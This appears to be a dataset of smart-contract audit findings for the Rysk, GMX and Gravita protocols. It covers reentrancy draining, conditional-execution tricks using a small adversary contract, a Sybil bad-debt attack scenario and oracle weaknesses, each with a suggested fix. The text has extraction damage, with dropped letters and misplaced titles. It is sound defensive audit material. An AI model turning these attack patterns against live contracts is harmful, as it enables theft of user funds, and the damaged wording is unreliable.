'23.pdf", - "body": "comment in BeyondPricers _getSlippageMultiplier() function RESOLVED The division of the _amount by 2, mentioned in the code comment, does not appear in the code. It appears that this comment corresponds to a previous version of the codebase and it should be removed. //BeyondPricer::_getSlippageMultiplier function _getSlippageMultiplier( uint256 _amount, int256 _optionDelta, int256 _netDhvExposure, bool _isSell ) internal view returns (uint256 slippageMultiplier) { // divide _amount by 2 to obtain the average exposure throughout the tx. // Dedaub: The above comment is not relevant any more. // ... Dedaub: Code omied for brevity. }", - "labels": [ - "Dedaub", - "Rysk", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb '23.pdf", - "body": "librarys lognormalVol() can in principle return negative values ACKNOWLEDGED The formula of the SABR model that is responsible for computing the implied volatility (hps://web.math.ku.dk/~rolf/SABR.pdf formula (2.17a)) is an approximate one. It is not clear to us if this value will always be non-negative as it should be. For example, 1 for absolute values of close to 1 and large values of v, the last term of this formula, and probably the whole value of the implied volatility will be negative. The execution of VolatilityFeed::getImpliedVolatility will revert if the value returned by lognormalVol() is non-negative, to protect the protocol from using this absurd value. Nevertheless, if this keeps happening for a while, the protocol will be unable to price the options and therefore will be unable to work. This issue could be avoided either by a careful choice of the SABR parameters by the protocols keepers or by using an alternative volatility feed in case this happens.", - "labels": [ - "Dedaub", - "Rysk", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb '23.pdf", - "body": "check in BeyondPricers quoteOptionprice() RESOLVED In BeyondPricer::quoteOptionPrice() a check that _optionseries.expiration >= block.timestamp is missing. If the function is called to price an option series with a past expiration date, it will return an absurd result. We suggest adding a check that would revert the execution with an appropriate message in case the condition is not satised.", - "labels": [ - "Dedaub", - "Rysk", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb '23.pdf", - "body": "is dened as public even though its name suggests otherwise RESOLVED Function OptionExchange::_checkHash, which returns if an option series is approved or not, is dened as public. However, the starting underscore in _checkHash implies that this functionality should not be exposed externally (via the public modier) creating an inconsistency, even though it is probably useful/necessary to the users of the protocol.", - "labels": [ - "Dedaub", - "Rysk", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb '23.pdf", - "body": "returns an incorrect value RESOLVED Whenever a user wants to buy an amount of options, rst it is checked if the long exposure of the protocol to this option series is positive. If this is the case, then the protocol rst sells the options it holds, to decrease its long exposure, and if they are not 1 enough, then the Liquidity pool writes extra options to reach the amount requested by the user. The problem is that the _buyOption function, in the case the Liquidity pool is called to write these extra options, returns only this extra amount, and not the total amount sold to the user.", - "labels": [ - "Dedaub", - "Rysk", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb '23.pdf", - "body": "of compiler versions RESOLVED The code of the BeyondPricer, OptionExchange and OptionCatalogue contracts is compiled with the floating pragma >=0.8.0, and the OptionRegistry contract is compiled with the floating pragma >=0.8.9. It is recommended that the compiler version is xed to a specic version and that this is kept consistent amongst source les. A10 Compiler bugs ACKNOWLEDGED The code of the BeyondPricer, OptionExchange and OptionCatalogue contracts is compiled with the floating pragma >=0.8.0, and the OptionRegistry contract is compiled with the floating pragma >=0.8.9. Versions 0.8.0 and 0.8.9 in particular, have some known bugs, which we do not believe aect the correctness of the contracts. 1", - "labels": [ - "Dedaub", - "Rysk", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk GMX Hedging Reactor Audit.pdf", - "body": "has unlimited spending approval RESOLVED In the GmxHedgingReactor constructor the gmxPositionRouter is approved to spend an innite amount of _collateralAsset. It appears that this is unneeded and potentially dangerous, as the transfer of _collateralAsset is actually handled by the 0 GMX router, which gets approved for the exact amount needed in the function _increasePosition, and not by the gmxPositionRouter.", - "labels": [ - "Dedaub", - "Rysk GMX Hedging Reactor", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk GMX Hedging Reactor Audit.pdf", - "body": "returns in _changePosition RESOLVED The function GmxHedgingReactor::_changePosition is not consistent with the values it returns. Even though it should always return the resulting dierence in delta exposure, it does not do so at the end of the if-branch of the if (_amount > 0) { } statement. If the control flow reaches that point, it jumps at the end of the function leading to 0 being returned, i.e., as if there was no change in delta. function _changePosition(int256 _amount) internal returns (int256) { // .. if (_amount > 0) { // .. // Dedaub: last statement is not a return increaseOrderDeltaChange[positionKey] += deltaChange; } else { // .. return deltaChange + closedPositionDeltaChange; } return 0; } We would suggest the following xes: function _changePosition(int256 _amount) internal returns (int256) { // .. if (_amount > 0) { // .. return deltaChange + closedPositionDeltaChange; } else if (_amount < 0) { // .. return deltaChange + closedPositionDeltaChange; } 0 return 0; } Currently the return value of _changePosition is further returned by the function hedgeDelta and remains unused by its callers. However, this could change in future versions of the protocol leading to bugs.", - "labels": [ - "Dedaub", - "Rysk GMX Hedging Reactor", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk GMX Hedging Reactor Audit.pdf", - "body": "long and short positions could co-exist RESOLVED GMX treats longs and shorts as completely separate positions, and charges borrowing fees on both simultaneously, thus the reactor deals with positions in such a way that ensures only a single position is open at a certain time. Nevertheless, due to the two-step process that GMX uses to create positions and the fact that the reactor does not take into account that a new position might be created while another one is waiting to be nalized, there exists a scenario in which the reactor could end up with a long and a short position at the same time. The scenario is the following: 1. Initially, there are no open positions 2. A long or short position is opened on GMX but is not executed immediately, i.e., GmxHedgingReactor::gmxPositionCallback is not called. The LiquidityPool reckons that a counter position should be opened and calls GmxHedgingReactor::hedgeDelta to do so. 3. When the two position orders are nally executed by GMX the reactor will have a long and a short position open simultaneously. The above scenario might not be likely to happen as it requires the LiquidityPool to open two opposite positions in a very short period of time, i.e., before the rst position order is executed by a GMX keeper or a keeper of the protocol. Nevertheless, we believe it would be beer to also handle such a scenario, as it could mess up the reactors accounting and the x should be relatively easy. 0", - "labels": [ - "Dedaub", - "Rysk GMX Hedging Reactor", - "Severity: Medium" - ] - }, - { - "title": "in some cases underestimates the extra collateral needed for an increase of a position ACKNOWLEDGED Whenever the hedging reactor asks for an increase of a position, _getCollateralSizeDeltaUsd() computes the extra collateral needed using collateralToTransfer (collateral needed to be added or removed from the position before its increase, to maintain the health to the desired value) and extraPositionCollateral (the extra collateral needed for the increase of the position).If isAboveMax==true and extraPositionCollateral > collateralToTransfer, then the collateral which is actually added is just totalCollateralToAdd= extraPositionCollateral - collateralToTransfer, which could be not suicient to collateralize the increased position. Let us try to explain this with an example. Suppose that initially there is a long position with position[0]=10_000, position[1]=5_000. Hedging reactor then asks for an increase of its position by 11_000. extraPositionCollateral will be 5_500. Suppose than in the meantime this position had substantial prots i.e. positive unrealised pnl=5_000. colateralToTransfer will be 5_000 and totalCollateralToAdd will be 5_500-5_000=500. Therefore the \"leverage without pnl\" of the new position will be (10_000+11_000)/(5_000+500)=21_000/5_500=3.8. If this scenario is repeated, it could lead to the liquidation of the position. We suggest adding a check that the total size of the position does not exceed its total collateral times maxLeverage, similar to the one used in the case of decreasing a position. 07 LOW SEVERITY: ID Descriptio ", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk GMX Hedging Reactor Audit.pdf", - "body": "", - "labels": [ - "Dedaub", - "Rysk GMX Hedging Reactor", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk GMX Hedging Reactor Audit.pdf", - "body": "does not remove the old PositionRouter RESOLVED The function GmxHedgingReactor::setPositionRouter sets gmxPositionRouter to the new GMX PositionRouter contract that is provided and calls approvePlugin on the GMX Router contract to approve it. It does not revoke the approval to the old PositionRouter contract, which from now on is irrelevant to the reactor, by calling the function denyPlugin of the GMX Router contract. L2 Potential underflow in CheckVaultHealth RESOLVED If a position is in loss, the formula of the health variable is the following one: // GmxHedgingReactor.sol::_getCollateralSizeDeltaUsd():344 health=(uint256((int256(position[1])-int256(position[8])).div(int256(posit ion[0]))) * MAX_BIPS) / 1e18; There is no check if the dierence (int256(position[1])-int256(position[8])) in the above formula is positive or not. It is possible, under specic economic conditions (and if the GMX Liquidators are not fast enough), that the result of this dierence is negative. In such a case, the resulting value will be erroneous because of an underflow error. Even if this scenario is not expected to happen on a regular basis, we suggest adding a check that this dierence is indeed positive and if it is not extra measures should be taken to avoid liquidations. Note that the same issue appears in getPoolDenominatedValue, leading to the execution reverting if an underflow occurs. 0 CENTRALIZATION ISSUES: It is often desirable for DeFi protocols to assume no trust in a central authority, including the protocols owner. Even if the owner is reputable, users are more likely to engage with a protocol that guarantees no catastrophic failure even in the case the owner gets hacked/compromised. We list issues of this kind below. (These issues should be considered in the context of usage/deployment, as they are not uncommon. Several high-prole, high-value protocols have signicant centralization threats.) 0 OTHER/ ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend considering them. ", - "labels": [ - "Dedaub", - "Rysk GMX Hedging Reactor", - "Severity: Low" - ] - }, - { - "title": "wastes gas ", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk GMX Hedging Reactor Audit.pdf", - "body": " INFO The function GmxHedgingReactor::getPoolDenominatedValue wastes gas by calling the function checkVaultHealth to retrieve just the currently open GMX position instead of directly calling the _getPosition function.", - "labels": [ - "Dedaub", - "Rysk GMX Hedging Reactor", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk GMX Hedging Reactor Audit.pdf", - "body": "can be made more gas eicient INFO The function GmxHedgingReactor::gmxPositionCallback is responsible for updating the internalDelta of the reactor with the values that are stored in the mappings increaseOrderDeltaChange and decreaseOrderDeltaChange. These mappings are essentially used as temporary storage before the change in delta is applied to the internalDelta storage variable. Thus, after a successful update the associated mapping element should be deleted to receive a gas refund for freeing up space on the blockchain.", - "labels": [ - "Dedaub", - "Rysk GMX Hedging Reactor", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk GMX Hedging Reactor Audit.pdf", - "body": "can be made more gas eicient INFO The function GmxHedgingReactor::sync is implemented to consider the scenario where a long and a short position are open on GMX at the same time. function sync() external returns (int256) { _isKeeper(); uint256[] memory longPosition = _getPosition(true); uint256[] memory shortPosition = _getPosition(false); uint256 longDelta = longPosition[0] > 0 ? 01 (longPosition[0]).div(longPosition[2]) : 0; uint256 shortDelta = shortPosition[0] > 0 ? (shortPosition[0]).div(shortPosition[2]) : 0; internalDelta = int256(longDelta) - int256(shortDelta); return internalDelta; } However, the reactor in whole is implemented in a way that ensures that a long and a short position cannot co-exist. Thus, the sync function can be implemented to take into account only the current open position, making it more eicient in terms of gas usage.", - "labels": [ - "Dedaub", - "Rysk GMX Hedging Reactor", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk GMX Hedging Reactor Audit.pdf", - "body": "computations INFO In GmxHedgingReactor::_getCollateralSizeDeltaUsd there is the following code: // GmxHedgingReactor.sol::_getCollateralSizeDeltaUsd():670 if ( int256(position[1] / 1e12) - int256(adjustedCollateralToRemove) < int256(((position[0] - _getPositionSizeDeltaUsd(_amount, position[0])) / 1e12) / (vault.maxLeverage() / 11000)) ) { adjustedCollateralToRemove = position[1] / 1e12 - ((position[0]-_getPositionSizeDeltaUsd(_amount,position[0])) / 1e12) / (vault.maxLeverage() / 11000); if (adjustedCollateralToRemove == 0) { return 0; } } Observe that the quantity (position[0]-_getPositionSizeDeltaUsd(_amount, position[0])) / 1e12) / (vault.maxLeverage() / 11000) is computed twice which can be avoided by computing it once and storing its value to a local variable. The same 01 is true for the quantity _amount.mul(position[2] / 1e12).div(position[0] / 1e12) that appears twice in the following computation: // GmxHedgingReactor.sol::_getCollateralSizeDeltaUsd():651 collateralToRemove = (1e18 - ( (int256(position[0]/1e12)+int256((leverageFactor.mul(position[8]))/1e12)) .mul(1e18-int256(_amount.mul(position[2]/1e12).div(position[0]/1e12))) .div(int256(leverageFactor.mul(position[1])/1e12)) )).mul(int256(position[1]/1e12)) - int256(_amount.mul(position[2]/1e12).div(position[0]/1e12) .mul(position[8]/1e12)); The above computation can be simplied even further by applying specic mathematical properties: uint256 d = _amount.mul(position[2]).div(position[0]); collateralToRemove = (int256(position[1] / 1e12) - ( ((int256(position[0]) + int256(leverageFactor.mul(position[8]))) / 1e12) .mul(1e18 - int256(d)).div(int256(leverageFactor)) )) - int256(d.mul(position[8] / 1e12));", - "labels": [ - "Dedaub", - "Rysk GMX Hedging Reactor", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk GMX Hedging Reactor Audit.pdf", - "body": "calls INFO The functions _increasePosition and _decreasePosition of the reactor unnecessarily call gmxPositionRouters minExecutionFee function twice each instead of caching the returned value in a local variable after the rst call.", - "labels": [ - "Dedaub", - "Rysk GMX Hedging Reactor", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk GMX Hedging Reactor Audit.pdf", - "body": "comment in _increasePosition INFO 01 The comment describing the parameter _collateralSize of the function _increasePosition should read amount of collateral to add instead of \"amount of collateral to remove.", - "labels": [ - "Dedaub", - "Rysk GMX Hedging Reactor", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk GMX Hedging Reactor Audit.pdf", - "body": "errors The following errors are dened but not used: INFO // GmxHedgingReactor.sol::_getCollateralSizeDeltaUsd():88 error ValueFailure(); error IncorrectCollateral(); error IncorrectDeltaChange(); error InvalidTransactionNotEnoughMargin(int256 accountMarketValue, int256 totalRequiredMargin); A8 Compiler bugs INFO The code is compiled with Solidity 0.8.9, which, at the time of writing, has some known bugs, which we do not believe to aect the correctness of the contracts. 01", - "labels": [ - "Dedaub", - "Rysk GMX Hedging Reactor", - "Severity: Informational" - ] - }, - { - "title": "vulnerability in cancelOrde ", - "html_url": "https://github.com/dedaub/audits/tree/main/GMX/GMX Audit - Oct '22.pdf", - "body": " OPEN OrderHandler::cancelOrder, which is an external function, is not protected by a reentrancy guard. Moreover, OrderUtils::cancelOrder (which performs the actual operation) transfers funds to the user (orderStore.transferOut) before updating its state. As a consequence, a malicious adversary could re-enter in cancelOrder, and execute an arbitrary number of transfers, eectively draining the contracts full balance in the corresponding token. function cancelOrder( DataStore dataStore, EventEmitter eventEmitter, OrderStore orderStore, bytes32 key, address keeper, uint256 startingGas ) internal { Order.Props memory order = orderStore.get(key); validateNonEmptyOrder(order); if (isIncreaseOrder(order.orderType()) || isSwapOrder(order.orderType())) { if (order.initialCollateralDeltaAmount() > 0) { orderStore.transferOut( EthUtils.weth(dataStore), order.initialCollateralToken(), order.initialCollateralDeltaAmount(), order.account(), order.shouldConvertETH() ); } } // Dedaub: state changed after the transfer, also idempotent orderStore.remove(key, order.account()); Note that the main re-entrancy method, namely the receive hook of an ETH transfer, is in fact protected by using payable(receiver).transfer which limits the gas available to the adversarys receive hook. Nevertheless, an ER", - "labels": [ - "Dedaub", - "GMX", - "Severity: Critical" - ] - }, - { - "title": "transfer is an external contract call and should be assumed to potentially pass the execution to the adversary. For instance, an ERC777 token (which is ERC20 compatible) would implement transfer hooks that could easily be used to perform a reentrancy aack. Note also that the state update (orderStore.remove(key, order.account())) is idempotent, so it can be executed multiple times during a reentrancy aack without causing an error. To protect against reentrancy we recommend 1. Adding reentrancy guards, and 2. Execute all state updates before external contract calls (such as transfers). Note that (2) by itself is suicient, so reentrancy guards could be avoided if gas is an issue. In such a case, however, comments should be added to the code to clearly state that updates should be executed before external calls, to avoid a vulnerability being reintroduced in future restructuring of the code. HIGH SEVERITY: ID Description ", - "html_url": "https://github.com/dedaub/audits/tree/main/GMX/GMX Audit - Oct '22.pdf", - "body": "", - "labels": [ - "Dedaub", - "GMX", - "Severity: Critical" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/GMX/GMX Audit - Oct '22.pdf", - "body": "execution of orders using shouldConvertETH OPEN For all order types that involve ETH, a user can set the option shouldConvertETH =true to indicate that he wishes to receive ETH instead of WETH. Although convenient, this gives an adversary the opportunity to execute conditional orders in a very easy way. The adversary can simply use a smart contract as the receiver of the order, and set a receive function as follows: contract Adversary { bool allow_execution = false; receive() { require(allow_execution); } } Then, in the time period between the order creation and its execution, the adversary can decide whether he wishes the order the allow_execution variable accordingly. If unset, the receive function will revert and the protocol will cancel the order. to succeed or not, and set The possibility of conditional executions could be exploited in a variety of dierent scenarios, a concrete example is given at the end of this item. Note that the use of payable(receiver).transfer (in Bank::_transferOutEth) does not protect against this aack. The 2300 gas sent by transfer are enough for a simple check like the one above. Note also that, although the case of ETH is the simplest to exploit, any tokens that use hooks to allow the receiver to reject transfers (eg ERC777) would enable the same aack. Note also that, if needed, the time period between creation and execution could be increased by simultaneously submiing a large number of orders for tiny amounts (see L2 below). One way to protect against conditional execution is to employ some manual procedure for recovering the funds in case of a failed execution (for instance, keeping the funds in an escrow account), instead of simply canceling the order. Since a failed execution should not happen under normal conditions, this would not aect the protocols normal operation. Concrete example of exploiting conditional executions: The adversary wants to take advantage of the volatility of ETH at a particular moment, but without any trading risk. Assume that the current price of ETH is 1000 USD, he proceeds as follows: - He creates a market swap order A to buy ETH at the current price. In this order, he sets shouldConvertETH = true and the receive function above that conditionally allows the execution. - He also creates a limit order B to sell ETH at 1010 USD. He then monitors the price of ETH before the orders execution: - If ETH goes down, he does nothing. allow_execution is false so order A will fail, and order B will also fail since the price target is not met. - If ETH goes up, he sets allow_execution = true, which leads to both orders succeeding for a prot of 10 USD / ETH. 9 MEDIUM SEVERITY: ", - "labels": [ - "Dedaub", - "GMX", - "Severity: High" - ] - }, - { - "title": "handling of rebalancing token ", - "html_url": "https://github.com/dedaub/audits/tree/main/GMX/GMX Audit - Oct '22.pdf", - "body": " OPEN StrictBank::recordTokenIn computes the number of received tokens by comparing the contract's current balance with the balance at the previous execution. However, this approach could lead to incorrect results in the case of ER", - "labels": [ - "Dedaub", - "GMX", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/GMX/GMX Audit - Oct '22.pdf", - "body": "with non-standard behavior, for instance: - Tokens in which balances automatically increase (without any transfers) to include interest. - Tokens that allow interacting from multiple contract addresses To be more robust with respect to such types of tokens, we recommend comparing the balance before and after the current incoming transfer, and not between dierent transactions.", - "labels": [ - "Dedaub", - "GMX", - "Severity: Critical" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/GMX/GMX Audit - Oct '22.pdf", - "body": "bad debt aack OPEN The protocol is susceptible to an aack involving opening a delta neutral position using Sybil accounts, with maximum leverage, on a volatile asset. Scenario: 1. Aacker controls Alice and Bob 2. Alice opens a large long position with maximum leverage 3. Bob opens a large short position with maximum leverage 4. Market moves 5. Alice liquidates their underwater position, causing bad debt 6. Bob closes their other position, proting on the slippage The reason why this aack is possible is that using the current design, it takes multiple blocks for a liquidator to react and by that time their order is executed it is possible that one of the positions is underwater. Secondly, when liquidating, Alice does not suer a bad price from the slippage incurred in the liquidation but Bob benets from the 1 slippage, when closing their position just after. Another factor that contributes towards this aack is that the liquidation penalty is linear, while the price impact advantage is higher-order, making the aack increasingly protable the larger the positions. To deter this, the protocol could support (i) partial liquidations for large positions and therefore force the positions to be closed gradually, making the aack non-viable, and, (ii) slippage open-interest calculations used to determine the price of the liquidation. LOW SEVERITY:", - "labels": [ - "Dedaub", - "GMX", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/GMX/GMX Audit - Oct '22.pdf", - "body": "receive function OPEN OrderStore does not contain a receive function so it cannot receive ETH. However, this is needed by Bank::_transferOutEth, which withdraws ETH before sending it to the receiver. function _transferOutEth(address token, uint256 amount, address receiver) internal { require(receiver != address(this), \"Bank: invalid receiver\"); IWETH(token).withdraw(amount); payable(receiver).transfer(amount); _afterTransferOut(token); } WIthout a receive function any transaction with shouldConvertETH = true would fail. 1", - "labels": [ - "Dedaub", - "GMX", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/GMX/GMX Audit - Oct '22.pdf", - "body": "lower bounds for swaps and positions OPEN Since there are no lower bounds for the size of a position, someone could in principle create a large number of tiny orders. Such a strategy would cost the adversary only the gas fees and the total amount of the requested positions, which can be as small as he wishes. In this 2-step procedure used in this version of the protocol, such a behavior could potentially create a problem, because the order keepers would have to execute a huge number of orders. We suggest seing a minimum size for positions and swaps. L3 Inconsistency in calculating liquidations OPEN The comment in PositionUtils::isPositionLiquidatable indicates that price impact is not used when computing whether a position is liquidatable. However, the price impact is in fact used in the code: // price impact is not factored into the liquidation calculation // if the user is able to close the position gradually, the impact // may not be as much as closing the position in one transaction function isPositionLiquidatable( DataStore dataStore, Position.Props memory position, Market.Props memory market, MarketUtils.MarketPrices memory prices ) internal view returns (bool) { ... int256 priceImpactUsd = PositionPricingUtils.getPriceImpactUsd(...) int256 remainingCollateralUsd = collateralUsd.toInt256() + positionPnlUsd + priceImpactUsd + fees.totalNetCostAmount; 1 On the other hand, when the liquidation is executed, the price impact is not used. The comment in DecreasePositionUtils::processCollateral indicates that this is intentional: // the outputAmount does not factor in price impact // for example, if the market is ETH / USD and if a user uses USDC to long ETH // if the position is closed in profit or loss, USDC would be sent out from or // added to the pool without a price impact // this may unbalance the pool and the user could earn the positive price impact // through a subsequent action to rebalance the pool // price impact can be factored in if this is not desirable If this inconsistency is intentional, it should be properly documented in the comments. Note that, when deciding on a liquidation strategy, you should have in mind the possibility of cascading liquidations, namely the possibility that executing a liquidation causes other positions to become liquidatable. CENTRALIZATION ISSUES: It is often desirable for DeFi protocols to assume no trust in a central authority, including the protocols owner. Even if the owner is reputable, users are more likely to engage with a protocol that guarantees no catastrophic failure even in the case the owner gets hacked/compromised. We list issues of this kind below. (These issues should be considered in the context of usage/deployment, as they are not uncommon. Several high-prole, high-value protocols have signicant centralization threats.) 1 ", - "labels": [ - "Dedaub", - "GMX", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/GMX/GMX Audit - Oct '22.pdf", - "body": "keepers can cause DoS in all operations OPEN Due to the two step execution system, any operation requires an order keeper to execute it. Trust is needed in that order keepers will timely execute all pending orders. If the order keeper does not submit execution transactions, all operations will cease to function, including closing positions and withdrawing funds. It would be benecial to implement fallback mechanisms that guarantee that users can at least withdraw their funds in case order keepers cease to function for any reason. For instance, the protocol could allow users to execute orders by providing oracle prices themselves, but only if an order is stale (a certain time has passed since its creation). N2 Order keepers can frontrun/reorder transactions There is nothing in the current system that prevents an order keeper from front-running or reordering transactions, for instance to exploit changes in the price impact. The protocol could include mechanisms that limit this possibility: for instance, the order keeper could be forced to execute orders in the same order they were created. OTHER / ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend considering them. ", - "labels": [ - "Dedaub", - "GMX", - "Severity: Informational" - ] - }, - { - "title": "erroneous computation of price impact ", - "html_url": "https://github.com/dedaub/audits/tree/main/GMX/GMX Audit - Oct '22.pdf", - "body": " INFO 1 imbalance) ^ (price impact exponent) * (price impact factor) - (next Price impact is calculated as (initial imbalance) ^ (price impact exponent) * (price impact factor) The values of exponent (e) and impact factor (f) are set by the protocol for each market. If the impact factor is simply a percentage, then the price impact will have units USD^(price impact exponent). But this seems erroneous, since price impact is treated as a USD amount which is nally added to the amount requested by the user. A problem arises in case that these two quantities are selected independently of each other but also of the pool's deposits and status. For example, consider a pool with tokens A and B of total USD value x and y respectively. Consider that x < y. Then the imbalance equals d = y - x. If a user swaps A tokens of worth d/2, then prior to the price impact he will get B tokens of the same value. The new deposits of the pool will now be x'=y'=(x+y)/2 and the pool will become balanced. The price impact for this transaction is f*d^e, which could be ( if the parameters are not chosen carefully) larger than d/2, which is the requested swap amount. Also, this fact could lead to a pool which is even more imbalanced than the previous state. We suggest that (total_deposits)^(e-1)*f always be less than 1 to avoid the above mentioned undesirable behavior.", - "labels": [ - "Dedaub", - "GMX", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/GMX/GMX Audit - Oct '22.pdf", - "body": "in the submission time of dierent tokens INFO Price keepers are responsible for submiing prices for most of the protocol's tokens. The submied price should be the price retrieved from exchange markets at the time of each order's creation (the median of all these prices is nally used). However, for some tokens Chainlink oracles are used. In this case, the price at the time of the order execution is used.", - "labels": [ - "Dedaub", - "GMX", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/GMX/GMX Audit - Oct '22.pdf", - "body": "user can liquidate its own position INFO there is nothing preventing a user ExchangeRouter::createLiquidation can be called only by liquidation keepers. However, from calling createOrder with orderType=Liquidation, eectively creating a liquidation order for their own position. Although this is not necessarily an issue, it is unclear whether this functionality is intentional or not. 1", - "labels": [ - "Dedaub", - "GMX", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/GMX/GMX Audit - Oct '22.pdf", - "body": "price impacts on large markets INFO The price impact calculation is a function with an exponential factor of the absolute dierences between open long and short interests before and after a trade. This works well for the average market, but on a large market with large open interests, it is not more eicient to open large positions. Consider that in other AMM designs, it is possible to open large positions with minimal price impact if the market is large (e.g., Uniswap ETH-USDC). A5 Known compiler bugs INFO The code can be compiled with Solidity 0.8.0 or higher. For deployment, we recommend no floating pragmas, but a specic version, to be condent about the baseline guarantees oered by the compiler. Version 0.8.0, in particular, has some known bugs, which we do not believe aect the correctness of the contracts. 1", - "labels": [ - "Dedaub", - "GMX", - "Severity: Informational" - ] - }, - { - "title": "does not check if it is overwriting a previous queued oracle ", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": " RESOLVED (not applicable as of e4fbfc30) In PriceFeed::addOracle, the queuedOracles entry for the token is wrien without checking whether it is zero. This is only a problem in case the controller makes a mistake, but the presence of a deleteQueuedOracle function suggests that the right behavior for a controller would be to delete a queued oracle if its no longer valid. function addOracle(address _token, address _chainlinkOracle, bool _isEthIndexed) external override isController { AggregatorV3Interface newOracle = AggregatorV3Interface(_chainlinkOracle); _validateFeedResponse(newOracle); if (registeredOracles[_token].exists) { uint256 timelockRelease = block.timestamp.add(_getOracleUpdateTimelock()); queuedOracles[_token] = OracleRecord(newOracle, timelockRelease, true, true, _isEthIndexed); } else { registeredOracles[_token] = OracleRecord(newOracle, block.timestamp, true, emit NewOracleRegistered(_token, _chainlinkOracle, _isEthIndexed); true, _isEthIndexed); } } function deleteQueuedOracle(address _token) external override isController { delete queuedOracles[_token]; }", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "timelock for adding oracles can be circumvented by deleting the previous oracle RESOLVED (not applicable as of e4fbfc30) On the same code as issue L1, in the PriceFeed contract, the controller can always subvert the above timelock by just deleting the registered oracle. function deleteOracle(address _token) external override isController { delete registeredOracles[_token]; } Thus, the timelock can only prevent accidents in the controller, and not provide assurances of having a delay for review of changes to oracles.", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "series of liquidations can cause the zeroing of totalStakes ACKNOWLEDGED The stake of a Vessel holding _asset as collateral is computed by the formula in VesselManager::_computeNewStake : stake = _coll.mul(totalStakesSnapshot[_asset]).div(totalCollateralSnapshot[_asset]); The stake is updated when the Vessel is adjusted and _coll is the new collateral amount of the Vessel and totalStakesSnapshot, totalCollateralSnapshot the total stakes and total collateral respectively right after the last liquidation. A liquidation followed by a redistribution of the debt and collateral to the other Vessels decreases the total stakes (the stake of the liquidated Vessel is just deleted and not shared among the others) and the total collateral (if we ignore the fees) does not change. Therefore the ratio in the above formula is constantly decreasing after each liquidation followed by redistribution and each new Vessel will get a relatively smaller stake. The nite precision of the arithmetic operations can lead to a zeroing of totalStakes, if a series of liquidations of Vessels with high stakes occurs. If this happens, the total stakes will be zero forever and each new vessel will be assigned a zero stake. If this happens many functionalities of the protocol are blocked i.e. the VesselManager::redistributeDebtAndCollateral will revert every time, since the debt and collateral to distribute are computed dividing by the (zero) totalStakes. The probability of such a problem is higher in Gravita, compared to Liquity, because Gravita allows multiple collateral assets, some of them, in principle, more volatile compared to ETH.", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "could return arbitrarily stale prices, if Chainlink Oracles response is not valid RESOLVED (e4fbfc30) The protocol uses the PriceFeed::fetchPrice to get the price of a _token, whenever it needs to. This function rst calls the Chainlink oracle to get the price for this _token and then checks the validity of the response. If it is valid, it stores the answer in lastGoodPrice[_token] and also returns it to the caller. If the Chainlink response is not valid, then the function returns the value stored in lastGoodPrice[_token]. The problem is that this value could have been stored a long time ago and there is no check about this in the contract. As an edge case, if the Chainlink oracle does not give a valid answer, upon its rst call for a _token, then the PriceFeed::fetchPrice function will return a zero price. Liquity uses a secondary oracle, if the response of Chainlink is not valid, and only if both oracles fail, the stored last good price is being used, but in Gravita there is no secondary oracle. L5 AdminContract::sanitizeParameters has no access control RESOLVED (58a41195) The function sets important 